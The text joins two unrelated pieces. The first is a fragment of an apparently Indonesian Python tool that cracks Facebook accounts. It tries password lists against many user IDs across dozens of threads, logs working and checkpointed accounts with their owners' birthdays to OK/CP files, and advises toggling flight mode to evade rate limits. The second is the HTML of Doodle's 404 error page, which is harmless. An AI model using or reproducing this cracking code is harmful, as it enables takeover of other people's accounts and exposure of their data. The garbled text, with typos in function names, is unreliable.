ThreadPool(35).map(self.api,self.fl) os.remove(self.apk) _cici_cici_() elif put in ['2','02','002','b']: started() ThreadPool(35).map(self.mbasic,self.fl) os.remove(self.apk) _cici_cici_() else: _ahmar_cici_('%s[%s!%s] %sWrong input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) except Exception as e: continue def pwlist(self): self.pw = _cici_ahmar_('%s[%s•%s] %s Enter Password : '%(_U_,_P_,_U_,_P_)).split(",") if len(self.pw) ==0: _ahmar_cici_('%s[%s!%s] %sWrong input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) else: for i in self.fl: i.update({"pw":self.pw}) start_method() put = _cici_ahmar _('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_(''%()) if put in ['']: _ahmar_cici_('%s[%s!%s] %sWrong input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) elif put in ['1','01','001','a']: started() ThreadPool(30).map(self.api,self.fl) os.remove(self.apk) _cici_cici_() elif put in ['2','02','002','b']: started() ThreadPool(30).map(self.mbasic,self.fl) os.remove(self.apk) _cici_cici_() else: _ahmar_cici_('%s[%s!%s] %sWrong Input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) def api(self,fl): try: for i in fl.get("pw"): log = log_api(fl.get("id"),i,"https://b-api.facebook.com") if log.get("status")=="cp": try: ke = _req_get_("https://graph.facebook.com/" + fl.get("id") + "?access_token=" + _ahmar_ahmar_("token.txt","r").read()) tt = json.loads(ke.text) ttl = tt["birthday"] m,d,y = ttl.split("/") m = bulan_ttl[m] _ahmar_cici_("\r%s[%sAHMAR-CP%s] %s • %s • %s %s %s "%(_U_,_P_,_U_,fl.get("id"),i,d,m,y)) self.cp.append("%s•%s•%s%s%s"%(fl.get("id"),i,d,m,y)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s•%s%s%s\n"%(fl.get("id"),i,d,m,y)) break except(KeyError, IOError): m = " " d = " " y = " " except:pass _ahmar_cici_("\r%s[%sAHMAR-CP%s] %s • %s "%(_U_,_P_,_U_,fl.get("id"),i)) self.cp.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break elif log.get("status")=="success": _ahmar_cici_("\r%s[%sAHMAR-OK%s] %s • %s "%(_H_,_P_,_H_,fl.get("id"),i)) self.ada.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("OK/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break else:continue self.ko+=1 _ahmar_cici_("\r%s[%sCrack%s][%s%s/%s%s][%sOK:%s%s][%sCP:%s%s]%s"%(_U_,_P_,_U_,_P_,self.ko,len(self.fl),_U_,_P_,len(self.ada),_U_,_P_,len(self.cp),_U_,_P_), end=' ');sys.stdout.flush() except: self.api(fl) def mbasic(self,fl): try: for i in fl.get("pw"): log = log_mbasic(fl.get("id"),i,"https://mbasic.facebook.com") if log.get("status")=="cp": try: ke = _req_get_("https://graph.facebook.com/" + fl.get("id") + "?access_token=" + _ahmar_ahmar_("token.txt","r").read()) tt = json.loads(ke.text) ttl = tt["birthday"] m,d,y = ttl.split("/") m = bulan_ttl[m] _ahmar_cici_("\r%s[%sXSAN-CP%s] %s • %s • %s %s %s "%(_U_,_P_,_U_,fl.get("id"),i,d,m,y)) self.cp.append("%s•%s•%s%s%s"%(fl.get("id"),i,d,m,y)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s•%s%s%s\n"%(fl.get("id"),i,d,m,y)) break except(KeyError, IOError): m = " " d = " " y = " " except:pass _ahmar_cici_("\r%s[%sXSAN-CP%s] %s • %s "%(_U_,_P_,_U_,fl.get("id"),i)) self.cp.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break elif log.get("status")=="success": _ahmar_cici_("\r%s[%sXSAN-OK%s] %s • %s • %s "%(_H_,_P_,_H_,fl.get("id"),i,koki(log.get("cookies")))) self.ada.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("OK/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break else:continue self.ko+=1 _ahmar_cici_("\r%s[%sCrack%s][%s%s/%s%s][%sOK:%s%s][%sCP:%s%s]%s"%(_U_,_P_,_U_,_P_,self.ko,len(self.fl),_U_,_P_,len(self.ada),_U_,_P_,len(self.cp),_U_,_P_), end=' ');sys.stdout.flush() except: self.mbasic(fl) ### Menu Mengecek Hasil Crack def _cek_result_dev_(): _clear_() _my_logo_() _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__forever__' _ahmar_cici_('%s[ %sCrack Results %s]'%(_U_,_P_,_U_)) _ahmar_cici_('\n%s[%s1%s] %sCheck Results OK'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s2%s] %sChel Results CP'%(_U_,_P_,_U_,_P_)) ch = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) if ch in ['']: _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) elif ch in ['1','01','001','a']: try: okl = os.listdir("OK") _ahmar_cici_('\n%s[%s Crack Results Stored in File OK %s]\n'%(_U_,_P_,_U_)) for file in okl: _ahmar_cici_('%s[%s•%s] %s%s'%(_U_,_P_,_U_,_P_,file)) _ahmar_cici_('') files = _cici_ahmar_('%s[%s•%s] %sINPUT File Name : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if files == "": _ahmar_cici_('%s[%s!%s] %sWrong Input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) os.system('cat OK/%s'%(files)) ppp = _ahmar_ahmar_("OK/%s"%(files)).read().splitlines() del1 = ("%s"%(files)).replace("-", " ").replace(".txt", "") _ahmae_cici_('\n%s[%s•%s] %sTotal Crack Result Date %s Is %s Account'%(_U_,_P_,_U_,_P_,del1,len(ppp))) except: _ahmar_cici_('%s[%s No Results Found %s]'%(_M_,_P_,_M_)) elif ch in ['2','02','002','b']: try: cpl = os.listdir("CP") _ahmar_cici_('\n%s[%s Crack Results Stored in CP Files %s]\n'%(_U_,_P_,_U_)) for file in cpl: _ahmar_cici_('%s[%s•%s] %s%s'%(_U_,_P_,_U_,_P_,file)) _ahmar_cici_('') files = _cici_ahmar_('%s[%s•%s] %sInput File Name : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if files == "": _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) os.system('cat CP/%s'%(files)) ppp = _ahmar_ahmar_("CP/%s"%(files)).read().splitlines() del1 = ("%s"%(files)).replace("-", " ").replace(".txt", "") _ahmar_cici_('\n%s[%s•%s] %sTotal Crack Result Date %s Is %s Account'%(_U_,_P_,_U_,_P_,del1,len(ppp))) except: _ahmar_cici_('%s[%s No Results Found %s]'%(_M_,_P_,_M_)) else: _ahmar_cici_('%s[%s!%s] %sWeong Input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) _cici_ahmar_('\n%s[ %sReturn %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) ### Mau Recode Lu Ya? def _check_recode_(_oscylopsce_,_ascylapsci_,_escylipsce_): _recode_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' if _uscylupsci_ not in _recode_:_ahmar_cici_('%s[%s!%s] %sHey, do you want to recode?'%(_M_,_P_,_M_,_P_)) else:return _menu_dev_(_recode_) ### Menu User Agent def _default_ua_(_Cici_Cantik_Banget_): ua = ua_xiaomi try: ugent = _ahmar_ahmar_('ugent.txt','w') ugent.write(ua) ugent.close() except (KeyError,IOError): _login_dev_(_Cici_Cantik_Banget_) def _ugen_dev_(_Ahmar_jan_Cici_): _var_ugen_(_Ahmar_jan_Cici_) pmu = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if pmu in[""]: _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['1','01','001','a']: os.system('xdg-_ahmar_ahmar_ https://www.google.com/search?q=My+User+Agent&oq=My+User+Agent&aqs=chrome..69i57j0l3j0i22i30l6.4674j0j1&sourceid=chrome&ie=UTF-8') _cici_ahmar_('%s[ %sRetrun %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['2','02','002','b']: _del_() ua = _cici_ahmar_("%s[%s•%s] %sInput User agent : \n\n"%(_U_,_P_,_U_,_P_)) try: ugent = _ahmar_ahmar_('ugent.txt','w') ugent.write(ua) ugent.close() _ahmar_cici_("\n%s[ %sSuccessfully Changed User Agent %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sEnter Click %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) except (KeyError,IOError): _ahmar_cici_("\n%s[ %sFailed to Change User Agent %s]"%(_M_,_P_,_M_)) _cici_ahmar_('\n%s[ %sRetrun %s]%s'%(_M_,_P_,_M_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['3','03','003','c']: _ugen_hp_(_Ahmar_jan_Cici_) elif pmu in ['4','04','004','d']: _del_() _ahmar_cici_("%s[ %sUser Agent Deleted Successfully %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sRetrun %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['5','05','005','e']: try: ungser = _ahmar_ahmar_('ugent.txt', 'r').read() except (KeyError,IOError): ungser = 'Not found' _ahmar_cici_("%s[%s•%s] %sYour User Agent : \n\n%s%s"%(_U_,_P_,_U_,_P_,_U_,ungser)) _ahmar_cici_("\n%s[ %sThis is your current user agent %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sRetrun %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['0','00','000','f']: _menu_dev_(_Ahmar_jan_Cici_) else: _ahmar_cici_('%s[%s!%s] %sWrong Input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) def _ugen_hp_(_Ahmar_jan_Cici_): _del_() _shmar_cici_('%s[%s1%s] %sXiaomi'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s2%s] %sNokia'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s3%s] %sAsus'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s4%s] %sHuawei'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s5%s] %sVivo'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s6%s] %sOppo'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s7%s] %sSamsung'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s8%s] %sWindows'%(_U_,_P_,_U_,_P_)) pc = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _dapunta_cici_('') if pc in['']: _dapunta_cici_('%s[%s!%s] %sWrong Input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) elif pc in ['1','01']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_xiaomi);ugent.close() elif pc in ['2','02']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_nokia);ugent.close() elif pc in ['3','03']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_asus);ugent.close() elif pc in ['4','04']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_huawei);ugent.close() elif pc in ['5','05']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_vivo);ugent.close() elif pc in ['6','06']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_oppo);ugent.close() elif pc in ['7','07']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_samsung);ugent.close() elif pc in ['8','08']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_windows);ugent.close() else: _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) _ahmar_cici_("%s[ %sSuccessfully Changed User Agent %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sEnter Click %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) ### Tampilan User Agent def _var_ugen_(_Ahmar_jan_Cici_): _dapunta_cici_("%s[%s1%s] %sBest User Agent"%(_U_,_P_,_U_,_P_)) _Ahmat_cici_("%s[%s2%s] %sChange User Agent %s[%sManual%s]"%(_U_,_P_,_U_,_P_,_U_,_P_,_U_)) _Ahmar_cici_("%s[%s3%s] %sChange User agent %s[%sAdjust HP%s]"%(_U_,_P_,_U_,_P_,_U_,_P_,_U_)) _Ahmar_cici_("%s[%s4%s] %sDelete User Agent"%(_U_,_P_,_U_,_P_)) _Ahmar_cici_("%s[%s5%s] %sChek User Agent"%(_U_,_P_,_U_,_P_)) _Ahmar_cici_("%s[%s0%s] %sRetrun"%(_U_,_P_,_U_,_P_)) ### Tampilan Metode def start_method(): _Ahmar_cici_('\n%s[%s1%s] %sMetode Api'%(_U_,_P_,_U_,_P_)) _Ahmar_cici_('%s[%s2%s] %sMetode Mbasic'%(_U_,_P_,_U_,_P_)) ### Tampilan Mulai Crack def started(): _Ahmar_cici_('%s[%s•%s] %sCrack is Running...'%(_U_,_P_,_U_,_P_)) _Ahmar_cici_('%s[%s•%s] %sAccount [OK] Saved To OK/%s.txt'%(_U_,_P_,_U_,_P_,tanggal)) _Ahmar_cici_('%s[%s•%s] %sAccount [CP] Saved To CP/%s.txt'%(_U_,_P_,_U_,_P_,tanggal)) _Ahmar_cici_('%s[%s•%s] %sUse Flight Mode [5 Seconds Only] Every 5 Minutes\n'%(_U_,_P_,_U_,_P_)) ### Start if __name__=='__main__': os.system('git pull') _clear_() _folder_() _check_recode_(_oscylopsce_,_ascylapsci_,_escylipsce_) # _Ahmar_cici_('%s[%s•%s] %s'%(_U_,_P_,_U_,_P_)) # _Ahmar_cici_('%s[%s!%s] %s'%(_M_,_P_,_M_,_P_))
sireqpetr
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en" xml:lang="en" class=" "> <head> <meta name="robots" content="index, follow" /> <meta name="Mediapartners-Google" content="index, follow" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <meta http-equiv="cache-control" content="max-age=0" /> <meta http-equiv="expires" content="-1" /> <meta http-equiv="pragma" content="no-cache" /> <meta name="description" content="Doodle radically simplifies the process of scheduling events, meetings, appointments, etc. Herding cats gets 2x faster with Doodle. For free!" /> <meta name="copyright" content="Doodle AG, Switzerland" /> <meta name="application-name" content="Doodle" /> <meta property="fb:admins" content="146060788741700" /> <title>Doodle: Not found </title> <meta property="og:image" content="http://doodle.com/graphics/static/facebookSharingThumbnail.png" /> <meta property="og:type" content="website" /> <meta property="og:url" content="http://doodle.com/" /> <meta property="og:title" content="Doodle: easy scheduling" /> <meta property="og:description" content="Doodle radically simplifies the process of scheduling events, meetings, appointments, etc. Herding cats gets 2x faster with Doodle. For free!" /> <link rel="stylesheet" type="text/css" href="/dist/normal/vendor-styles.47dc4b6d8088a5473d3d.css" /> <link rel="stylesheet" type="text/css" href="/dist/normal/error-errorTemplate.109031a5a727b3259a5c.css" /><style type="text/css" title="premium">body #page { margin-top: 15px}</style> <script src="/dist/normal/jquery.5b4d89fb41622e043ef4.js"></script> <link rel="shortcut icon" type="image/x-icon" href="/dist/normal/i/b44327677e7590e22fb6e598d6d53e2b.ico" /> <link rel="apple-touch-icon" href="/dist/normal/i/650dd6854eeca2499449e1a762978fc2.png" /> <link rel="apple-touch-icon" sizes="72x72" href="/dist/normal/i/15fa798c6b9309ec274f6cae3108f7e2.png" /> <link rel="apple-touch-icon" sizes="114x114" href="/dist/normal/i/82e622019f16c173d9eb6b9ab484fedd.png" /> <meta name="msapplication-TileImage" content="/dist/normal/i/d61d748643bc62b974e798209fc74147.png" /> <meta name="msapplication-TileColor" content="#ffffff" /> <link rel="canonical" href="https://doodle.com/error/notFound.html" /> </head> <body> <noscript> <iframe src="//www.googletagmanager.com/ns.html?id=GTM-CFKQ" height="0" width="0" style="display:none;visibility:hidden"></iframe> </noscript> <script type="text/javascript">//<![CDATA[ dataLayer = [{ 'country': 'BR', 'language': 'en', 'adsFree': 'true', 'certificationResource': 'else', 'isMainPage': '', 'creationDevice': '', 'isKISSEnabled': 'yes', 'KISSKey': 'ff0508294d77927c9b0d452b1ecfe4e761b16a91' }]; /*]]> */</script><script type="application/json" id="doodleDataLayerCustomDefinitions">{"environment":{"systemType":"production","systemVersion":"classic"},"page":{"pageType":"other","userLoginState":false,"userType":"free user"},"poll":{},"user":{"userCountry":"BR","userPlanType":"free"}}</script><script type="application/json" id="doodleDataLayerEvents">[]</script><script type="application/json" id="doodleDataLayerCookieDeletions">[]</script><script type="text/javascript">!function(e){function t(o){if(n[o])return n[o].exports;var i=n[o]={exports:{},id:o,loaded:!1};return e[o].call(i.exports,i,i.exports,t),i.loaded=!0,i.exports}var n={};t.m=e,t.c=n,t.p="/dist/normal/",t(0)}({0:function(e,t,n){n(1255),e.exports=n(1257)},1255:function(e,t,n){"use strict";n(1256)()},1256:function(e,t){"use strict";e.exports=function(){window.dataLayer=window.dataLayer||[];var e=window.dataLayer;try{var t={customDefinitions:null!==document.getElementById("doodleDataLayerCustomDefinitions")?JSON.parse(document.getElementById("doodleDataLayerCustomDefinitions").innerHTML):{},events:null!==document.getElementById("doodleDataLayerEvents")?JSON.parse(document.getElementById("doodleDataLayerEvents").innerHTML):[],cookieDeletions:null!==document.getElementById("doodleDataLayerCookieDeletions")?JSON.parse(document.getElementById("doodleDataLayerCookieDeletions").innerHTML):[]};Object.keys(t.customDefinitions).length>0&&e.push(t.customDefinitions),e.push({page:{viewportWidth:Math.max(document.documentElement.clientWidth,window.innerWidth||0),viewportHeight:Math.max(document.documentElement.clientHeight,window.innerHeight||0)}}),t.events.forEach(function(t){e.push(t)}),t.cookieDeletions.forEach(function(e){document.cookie=e})}catch(e){(window._errs||[]).push(e)}}},1257:function(e,t){"use strict";!function(e,t,n,o){var i,a;e[n]=e[n]||[],e[n].push({"gtm.start":(new Date).getTime(),event:"gtm.js"}),i=t.createElement("script"),i.async=!0,i.type="text/javascript",i.src="//www.googletagmanager.com/gtm.js?id="+o+("dataLayer"!==n?"&l="+n:""),a=t.getElementsByTagName("script")[0],a.parentNode.insertBefore(i,a)}(window,document,"dataLayer","GTM-CFKQ")}}); //# sourceMappingURL=tagmanager-bundle.6aa69cf9e6d011acc789.js.map</script> <script type="text/javascript"> //<![CDATA[ doodleJS = { guest: { viewLocale: "en_US", country: "BR", // can be UNKNOWN_COUNTRY_CODE ("ZZ") region: "BR:null", user: {"features":{"useCustomURL":false,"useCustomLogo":false,"quickReply":false,"extraInformation":false,"customTheme":false,"hideAds":false,"useSSL":false},"facebookAuthUrl":"https://graph.facebook.com/v2.8/oauth/authorize?scope=email&client_id=151397988232158&state=%7B%22is_mobile%22%3A%22false%22%2C%22redirect_uri%22%3A%22%22%2C%22locale%22%3A%22en%22%2C%22oauth_anti_csrf_token_cookie%22%3A%22oauth_anti_csrf_token_placeholder%22%7D&redirect_uri=https%3A%2F%2Fdoodle.com%2Fnp%2Fmydoodle%2Fthirdparty%2FfacebookConnect&display=touch","isBusiness":false,"loggedIn":false,"googleAuthUrl":"https://accounts.google.com/o/oauth2/auth?client_id=282023944456.apps.googleusercontent.com&redirect_uri=https://doodle.com/np/mydoodle/thirdparty/googleConnect&response_type=code&scope=https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/userinfo.profile&state=%7B%22is_mobile%22:%22false%22,%22callbackUrl%22:%22https://doodle.com/np/mydoodle/thirdparty/googleConnect%22,%22redirect_uri%22:%22%22,%22locale%22:%22en%22,%22oauth_anti_csrf_token_cookie%22:%22oauth_anti_csrf_token_placeholder%22%7D","googleAuthUrlLoginAndContacts":"https://accounts.google.com/o/oauth2/auth?access_type=offline&approval_prompt=force&client_id=282023944456.apps.googleusercontent.com&redirect_uri=https://doodle.com/np/mydoodle/thirdparty/googleConnect&response_type=code&scope=https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/userinfo.profile%20https://www.google.com/m8/feeds/&state=%7B%22doodleScope%22:%22CONTACTS%22,%22is_mobile%22:%22false%22,%22callbackUrl%22:%22https://doodle.com/np/mydoodle/thirdparty/googleConnect%22,%22redirect_uri%22:%22%22,%22locale%22:%22en%22,%22oauth_anti_csrf_token_cookie%22:%22oauth_anti_csrf_token_placeholder%22%7D","isPremium":false,"isTrial":false,"outlookComAuthUrlContacts":"https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=de3c96ed-0fa3-4310-8472-290bb8767230&response_type=id_token+code&response_mode=form_post&scope=openid+offline_access+User.Read+Calendars.ReadWrite+Contacts.Read&nonce=j9iuggv35wtibzz3pfjdhf6psu634z03&redirect_uri=https%3A%2F%2Fdoodle.com%2Fmydoodle%2FupgradeOutlookComCodeAndConnect.html&state=%7B%22type%22%3A%22CONTACTS%22%2C%22oauth_anti_csrf_token_cookie%22%3A%22oauth_anti_csrf_token_placeholder%22%7D"}, mandator: {"features":{"useCustomURL":false,"useCustomLogo":false,"quickReply":false,"extraInformation":false,"customTheme":false,"hideAds":false,"useSSL":false},"isMandator":false} }, ads: {}, callbacks: {}, // only used for iframe hacks (and file upload?) adCountingDeferred: $.Deferred(), l10n: null, // Object, set later by <script> tag, so it is cached by the browser templates: null, // Object, set later by <script> tag, so it is cached by the browser staticPageLinks: { currentPage: {"de":"","no":"","fi":"","sv":"","ru":"","pt":"","bg":"","lt":"","en":"","it":"","pt_BR":"","fr":"","hu":"","es":"","eu":"","cs":"","en_GB":"","cy":"","uk":"","pl":"","da":"","ca":"","nl":"","tr":""}, helpLink: "/help", privacyLink: "/privacy-policy", termsLink: "/terms-of-service" }, languages: [{"text":"čeština","value":"cs"},{"text":"Dansk","value":"da"},{"text":"Deutsch","value":"de"},{"text":"English","value":"en"},{"text":"español","value":"es"},{"text":"français","value":"fr"},{"text":"italiano","value":"it"},{"text":"magyar","value":"hu"},{"text":"Nederlands","value":"nl"},{"text":"norsk","value":"no"},{"text":"Português (BR)","value":"pt_BR"},{"text":"suomi","value":"fi"},{"text":"svenska","value":"sv"},{"text":"Türkçe","value":"tr"},{"text":"русский","value":"ru"}] }; // loads doodleJS.data and config $.extend(true, doodleJS, {"data":{"hostName":"worker4","timeZone":"America/Sao_Paulo"},"config":{"cookieDomain":"doodle.com","facebookAppId":"151397988232158","ifhcbPrefix":"hg6sdyqyos89jgd8","textOnly":false,"noLogin":false,"hosts":["http://worker1-test.doodle.com:80","http://worker2-test.doodle.com:80","http://worker4-test.doodle.com:80","http://worker5-test.doodle.com:80","http://worker10-test.doodle.com:80","http://worker11-test.doodle.com:80"],"baseSSLUrl":"https://doodle.com","googleOAuthUrl":"https://accounts.google.com/o/oauth2/auth?client_id=282023944456.apps.googleusercontent.com&redirect_uri=https://doodle.com/api/v2.0/users/google-code-for-login&response_type=code&scope=profile%20email&state=%7B%22is_mobile%22:%22true%22,%22callbackUrl%22:%22https://doodle.com/api/v2.0/users/google-code-for-login%22,%22redirect_uri%22:%22PLACEHOLDERTOREPLACE%22,%22locale%22:%22en%22,%22oauth_anti_csrf_token_cookie%22:%22oauth_anti_csrf_token_placeholder%22%7D","facebookOAuthUrl":"https://graph.facebook.com/v2.8/oauth/authorize?scope=email&client_id=151397988232158&state=%7B%22is_mobile%22%3A%22true%22%2C%22redirect_uri%22%3A%22PLACEHOLDERTOREPLACE%22%2C%22locale%22%3A%22en%22%2C%22oauth_anti_csrf_token_cookie%22%3A%22oauth_anti_csrf_token_placeholder%22%7D&redirect_uri=https%3A%2F%2Fdoodle.com%2Fapi%2Fv2.0%2Fusers%2Ffacebook-code-for-login&display=touch"}}); d = {}; //]]> </script> <script type="text/javascript" src="/np/config?locale=en_US"></script> <script type="text/javascript" src="/np/nls/en_US/l10nScript"></script> <div id="container"> <div id="banner" class="doodleadNonAbs"> </div> <div id="page"> <div id="skyrightcontainer" class="transborder"> <div id="skyright" class="doodlead"> </div> </div> <div id="skyleft" class="doodlead transborder"> </div> <div id="background" class="doodlead"> <div id="dyn"> </div> </div> <div id="doodlecontainer"> <div id="doodle"> <div id="header"> <form id="fakeLoginForm" target="fakeLoginIframe" action="https://doodle.com/np/mydoodle/fakelogister" method="POST" style="display:none "> <input type="text" id="fakeeMailAddress" name="eMailAddress" /> <input type="password" id="fakepassword" name="password" /> <input type="submit" /> </form> <iframe id="fakeLoginIframe" name="fakeLoginIframe" style="display:none "></iframe> <script type="text/javascript"> //<![CDATA[ doodleJS.config.noLogin = true; //]]> </script> <div id="dynamicHeader" class="dynamic-header"><div class="responsive-header hidden-xs"> <div class="fixed-header"> <nav class="navbar navbar-default" role="navigation"> <div> <div class="navbar-header"> <a class="navbar-brand" href="/"> <div class="doodle-logo logo"></div> </a> </div> </div> </nav> </div></div><header class="d-headerView visible-xs"> <div> <a class="d-backOrToHome d-noNavigationText" href="false"> </a> <div class="d-grow"></div> </div></header> </div> <script src="/dist/normal/error-errorTemplate.109031a5a727b3259a5c.js"></script> </div> <noscript> <h3 class="red responsiveContent">We are sorry, but Doodle only works with JavaScript-enabled browsers.</h3> </noscript> <div id="content"> <div class="pageBanner fixedContent" id="dragonDictateWarning" style="display: none;"> <p class="pageBannerText">It seems that you are using the Dragon Dictate. Unfortunately, Doodle is currently not compatible with this browser plugin. You should either deactivate it, or use another browser for Doodle.</p> </div> <div class="contentPart fixedContent"> <div id="errorContent"> <div id="staticContentNon" class=""> <div class="spaceCBefore"> <a href="/"><img class="errorlogo" src="/dist/normal/i/9d6b54a76d5a7e5736b8a305706d33f5.png" /> </a> <h1 class="red error-title">Not found </h1> <div class="red error-code">404!</div> </div> <hr />It appears the page you were looking for doesn't exist. Sorry about that. <br /> <br /> <div class="pageHead spaceABefore spaceAAfter" style="text-align: center;">Maybe you were trying to go to one of these topics? <br /> <div class="maybefind"> <a href="/" class="btn">Home</a> <a href="/create" class="btn">Create poll </a> <a href="/features/calendar-connect" class="btn">Calendars </a> <a href="/account" class="btn">Manage Doodle account </a> <a href="/help" class="btn">Help </a> </div> </div> </div> </div> </div> </div> <div id="footer"> <div class="footer-menu"> <div class="footer-category columns4Layout"> <h4>Doodle</h4> <ul class="unstyled"> <li> <a href="/">Home</a> </li> <li> <a href="/about-doodle">About</a> </li> <li> <a href="http://en.blog.doodle.com/">Blog</a> </li> <li class="hidden-xs"> <a href="/about-doodle/team">Team</a> </li> <li> <a href="/about-doodle/jobs">Jobs</a> </li> <li> <a href="/press">Media Corner</a> </li> <li> <a href="/advertising">Advertise on Doodle</a> </li> </ul> </div> <div class="footer-category columns4Layout"> <h4>Features</h4> <ul class="unstyled"> <li> <a href="/features">Overview</a> </li> <li> <a href="/features/mobile">Doodle Mobile</a> </li> <li class="hidden-xs"> <a href="/premium">Premium Doodle</a> </li> <li> <a href="/features/calendar-connect">Calendar Connect</a> </li> <li class="hidden-xs"> <a href="/meetme">MeetMe</a> </li> <li> <a href="http://support.doodle.com/customer/en/portal/articles/664212">API</a> </li> </ul> </div> <div class="footer-category columns4Layout"> <h4>Support</h4> <ul class="unstyled"> <li> <a href="http://support.doodle.com/customer/portal/articles/761313-what-is-doodle-and-how-does-it-work-an-introduction">First Steps</a> </li> <li> <a href="/help">Help</a> </li> <li> <a href="/help/lost-and-found">Lost admin links</a> </li> <li> <a href="/specials">Use-cases</a> </li> <li><a href="/free-online-survey">Online Survey</a> </li> <li><a href="/meeting-scheduler">Meeting Scheduler</a> </li> <li><a href="/online-calendar">Online Calendar</a> </li> <li><a href="/online-scheduling">Online Scheduling</a> </li> <li><a href="/poll-maker">Poll Maker</a> </li> </ul> </div> <div class="footer-category columns4Layout"> <h4>Legal</h4> <ul class="unstyled"> <li> <a href="/terms-of-service">Terms</a> </li> <li> <a href="/privacy-policy">Privacy</a> </li> <li> <a href="/imprint">Imprint</a> </li> </ul> </div> </div> <div class="footer-copy contentPart"> <div class="row"> <div class="col-sm-4 col-xs-6 copyright"> © 2017 Doodle </div> <div class="col-sm-4 hidden-xs mandator-name"> </div> <div class="col-sm-4 col-xs-6 languageSwitch"> <div id="languageToggler" class="hidden-xs"> <div id="languages"> <div class="tickWhite"></div> <div class="tickBorder"></div> <h3>Choose your language</h3> <div class="languageSwitches"> <a data-language="en">English </a> <a data-language="cy">Cymraeg </a> <a data-language="hu">magyar </a> <a data-language="fi">suomi </a> <a data-language="de">Deutsch </a> <a data-language="da">Dansk </a> <a data-language="nl">Nederlands </a> <a data-language="sv">svenska </a> <a 